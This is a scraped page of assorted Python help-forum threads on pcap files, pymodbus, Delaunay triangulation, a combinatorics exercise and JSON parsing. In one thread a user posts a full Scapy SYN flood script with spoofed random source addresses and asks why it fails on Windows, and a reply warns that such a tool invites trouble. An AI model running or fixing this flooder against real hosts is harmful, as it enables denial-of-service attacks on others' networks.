|
|
I am sorry whats the use of them in C++ (the first place I came across them) and now in Python what? why? The examples of how to use them not why...
|
|
|
|
|
How to create a anaimations using python
|
|
|
|
|
Hi,
I want to read the pcap file and devide the data into 64byte chunks.
If you need any more info, please let me know.
|
|
|
|
|
That depends on what you're doing with the file. Are you trying to read the file without interpreting the content? Or are you interpreting the content and doing something with that?
|
|
|
|
|
|
I tried to use the following code from github and test SYN flood:
from scapy.all import *
import os
import sys
import random
def randomIP():
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
return ip
def randInt():
x = random.randint(1000,9000)
return x
def SYN_Flood(dstIP,dstPort,counter):
total = 0
print("Packets are sending ...")
for x in range (0,counter):
s_port = randInt()
s_eq = randInt()
w_indow = randInt()
IP_Packet = IP ()
IP_Packet.src = randomIP()
IP_Packet.dst = dstIP
TCP_Packet = TCP ()
TCP_Packet.sport = s_port
TCP_Packet.dport = dstPort
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet/TCP_Packet, verbose=0)
total+=1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
os.system("clear")
dstIP = raw_input ("\nTarget IP : ")
dstPort = input ("Target Port : ")
return dstIP,int(dstPort)
def main():
dstIP,dstPort = info()
counter = input ("How many packets do you want to send : ")
SYN_Flood(dstIP,dstPort,int(counter))
main()
when I run the code, the following error is shown:
Quote: WARNING: No libpcap provider available ! pcap won't be used
'clear' is not recognized as an internal or external command,
operable program or batch file.
Traceback (most recent call last):
File "C:\Users\Admin\Desktop\Python Project\test.py", line 52, in <module>
main()
File "C:\Users\Admin\Desktop\Python Project\test.py", line 48, in main
dstIP,dstPort = info()
^^^^^^
File "C:\Users\Admin\Desktop\Python Project\test.py", line 41, in info
dstIP = raw_input ("\nTarget IP : ")
^^^^^^^^^
NameError: name 'raw_input' is not defined
I'm running this code on windows 11. Why is this error shown?
|
|
|
|
|
By the look of the code that was written for Python version 2.x, and to run under Linux, not Windows. But using such a tool will most likely get you in trouble.
|
|
|
|
|
First of all, I'm not good at English. I'm trying to be politely..
I'm making a program that communicate some gateways using pymodbus(python 3.9, pymodbus 2.5.2).
Recently, when the program is working, I analyzed network via WireShark. and then I realize that each command(read_holding_registers, write_registers, ...) make a connection with server. like this,..
connect()
read_holding_registers()
close()
connect()
read_holding_registers()
close()
...,
Is it right?
I expect this,,
connect()
read_holding_registers(..)
read_holding_registers(..)
read_holding_registers(..) ...
close()
I think, first, making a connection, second, all commands are done, and finally destroy connection.
Of course, all commands are in a same function. but there is a delay time each command.
with ModbusClient('10.181.10.15', 502) as client:
client.connect()
for unit in range(80, 91):
time.sleep(0.3)
data = client.read_holding_registers(600, 40, unit=unit)
print('600 unit id = %d' % unit)
time.sleep(0.3)
data = client.read_holding_registers(700, 30, unit=unit)
print('700 unit id = %d' % unit)
client.close()
|
|
|
|
|
You need to query this with the owners of the pymodbus package.
|
|
|
|
|
I am new to this page and am hoping I have this in the right place.
I am using python combined with pygame to try and generate a screen that is full of random triangles that completely fill the screen with no gaps while each triangle has random length of sides. So it would be partially random while also taking into account the remaining spaces when generating so that it leaves no space uncovered but no overlapping either. IE. Black background and white triangles, the screen actually consists of 100 triangles but because they are all white the screen just looks solid white.
I originally tried to do this with random vertices and trying to connect the sides but that was... messy to say the least and didn't play nice.
Does anyone know any path I could look into for figuring this out?
I'm not looking for full code of having someone do it for me, I just need to figure this out and get an idea on either a method I'm not thinking of or some math I can look at for generation.
Forgive the long winded explanation.
|
|
|
|
|
This is an OK place to ask such a question, but you could also have used the Algorithms forum (because your question isn't specifically about coding in python).
If you scatter a random set of points around the screen and want to turn them into a triangular mesh, then Delaunay triangulation[^] is your friend.
Software rusts. Simon Stephenson, ca 1994. So does this signature. me, 2012
|
|
|
|
|
Thanks for the location for posting thoughts on that!
Also huge thanks on the idea of the Delaunay Triangulation.
I was able to make an algorithm for creating a 500 point mesh with 1 point in each corner (to leave no gaps) and the rest randomized and implemented the triangulation and now I have a solid white screen of triangles and have them added to a list as they generate so that each triangle can be interacted with independently.
You have been of amazing assistance.
-Tairros
|
|
|
|
|
You're welcome. If you can implement the triangulation in a few hours, you obviously have the coding skills. Often it is just a word or two needed to point someone in the right direction. If only there were a taxonomy of algorithms, rather than a bunch of personal names!
Software rusts. Simon Stephenson, ca 1994. So does this signature. me, 2012
|
|
|
|
|
Hello All,
Merry christmas,
My name is Nahid and I want to learn Python with someone who is professional. May I ask to anybody who likes to teach me?
Thanks
|
|
|
|
|
Hi Nahid!
Sorry, but we aren't a "teaching" service, and as nearly everybody here is a volunteer who has a "real job" to do very, very few of us would have the spare time that a commitment like one-to-one tutoring would require - and even fewer of those have any skill at teaching so it wouldn't be a good experience for anybody!
Look locally for a course - some colleges / governments do "night school" to train adults - and if you can't find one then look for a book: Addison Wesley and Wrox all do good good one. Read it cover to cover, and do all the exercises - they are there to help you use what you are learning which is the only way to build a skill. (You can watch as much of the Tour de France as you like, but it won't teach you to ride a bicycle!)
Good luck - hope it goes well for you.
"I have no idea what I did, but I'm taking full credit for it." - ThisOldTony
"Common sense is so rare these days, it should be classified as a super power" - Random T-shirt
AntiTwitter: @DalekDave is now a follower!
|
|
|
|
|
|
this is my code ,and how I code in python like Tennis racket
player1 = turtle.Turtle()
player1.speed(0)
player1.shape("circle")
player1.shapesize(stretch_len=3, stretch_wid=3)
player1.color("white")
player1.penup()
player1.goto(x=-350, y=0)
|
|
|
|
|
Very interesting, but do you have a question?
|
|
|
|
|
|
|
Room arrangements
This year politicians and economists have been invited to participate in Stanford Institute for Theoretical Economics (SITE 2021) conference as guests. You have to accommodate them in r rooms such that-
No room may remain empty.
A room may contain either only politicians or only economists, not both.
No economists are allowed to stay alone in a room.
Find the number of ways to place them. Note though, that all the rooms are identical. But each of the economists and politicians are unique.
Since the number of ways can be very large, print the answer modulo 998,244,353.
Input Format:
The first line of the input contains a single integer T denoting the number of test cases. The description of T test cases follows.
The first and only line of each test case contains three space-separated integers p, q and r denoting the number of politicians, economists and rooms.
Output Format:
For each test case, output the number of ways to place them modulo 998,244,353.
Constraints
1≤T≤100
1≤p,q,r≤100
Sample Input:
4
2 1 4
2 4 4
2 5 4
2 8 4
Sample Output:
0
3
10
609
Explanation:
Test case 1: 4 rooms and 3 people. A room would remain empty.
Test case 2: There are 4 rooms and 6 people. There are 3 possible ways to distribute these 6 people in 3 rooms.
{Politician 1}, {Politician 2}, {Economist 1, Economist 2}, {Economist 3, Economist 4}
{Politician 1}, {Politician 2}, {Economist 1, Economist 3}, {Economist 2, Economist 4}
{Politician 1}, {Politician 2}, {Economist 1, Economist 4}, {Economist 2, Economist 3}
Please note that the rooms are identical.
|
|
|
|
|
Nobody here is going to do your homework for you. Unless you show the code you have tried and explain precisely where you are stuck, you will not get any help.
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
Currently I am receiving some JSON packets from my sensor and I am having some difficulties to extract some information from the JSON packet. I have extracted the device name/eui and data details using the method below but could not do the same to extract the rssi and loRaSNR values from the packet. Are there any better ways to achieve this? Thanks.
payload = json.loads(message.payload.decode())
deviceNAME = payload["deviceName"]
deviceEUI = payload["devEUI"]
info = payload["rxInfo"]
print (len(payload))
print (len(info))
print (payload)
print(info)
OUTPUT:
10
1
{'applicationID': '13', 'applicationName': '16_CH_CM_SYSTEM', 'deviceName': '16_CH_CM_SYSTEM_LORA', 'devEUI': 'ff00058011000004', 'rxInfo': [{'gatewayID': '54d0b4fffe0c89b2', 'name': 'F8L10GW-915-L-SR5G', 'time': '2022-11-25T05:39:41.352315Z', 'rssi': -107, 'loRaSNR': 6.3, 'location': {'latitude': na, 'longitude': na, 'altitude': na}}], 'txInfo': {'frequency': 923400000, 'dr': 4}, 'adr': False, 'fCnt': 5527, 'fPort': 21, 'data': 'VDI1NTI1NjI1OTI1ODI1OTI1NzI1NjI2MDI2Mjo='}
[{'gatewayID': '54d0b4fffe0c89b2', 'name': 'F8L10GW-915-L-SR5G', 'time': '2022-11-25T05:39:41.352315Z', 'rssi': -107, 'loRaSNR': 6.3, 'location': {'latitude': na, 'longitude': na, 'altitude': na}}]
modified 25-Nov-22 4:14am.
|
|
|
|
|
Your question is unclear, what do you mean by "could not do the same to extract the rssi and loRaSNR values"? What is the actual code you used, and what problems did you see?
Also, I have edited your question so the JSON text is readable.
[edit]
The info field is an array (of one item), so you just need to access element zero. something like:
gateway = info[0]
rssi = gateway["rssi"]
loRaSNR = gateway["loRaSNR"]
print(F"{rssi=}, {loRaSNR=}")
[/edit]
modified 25-Nov-22 7:47am.
|
|
|
|
|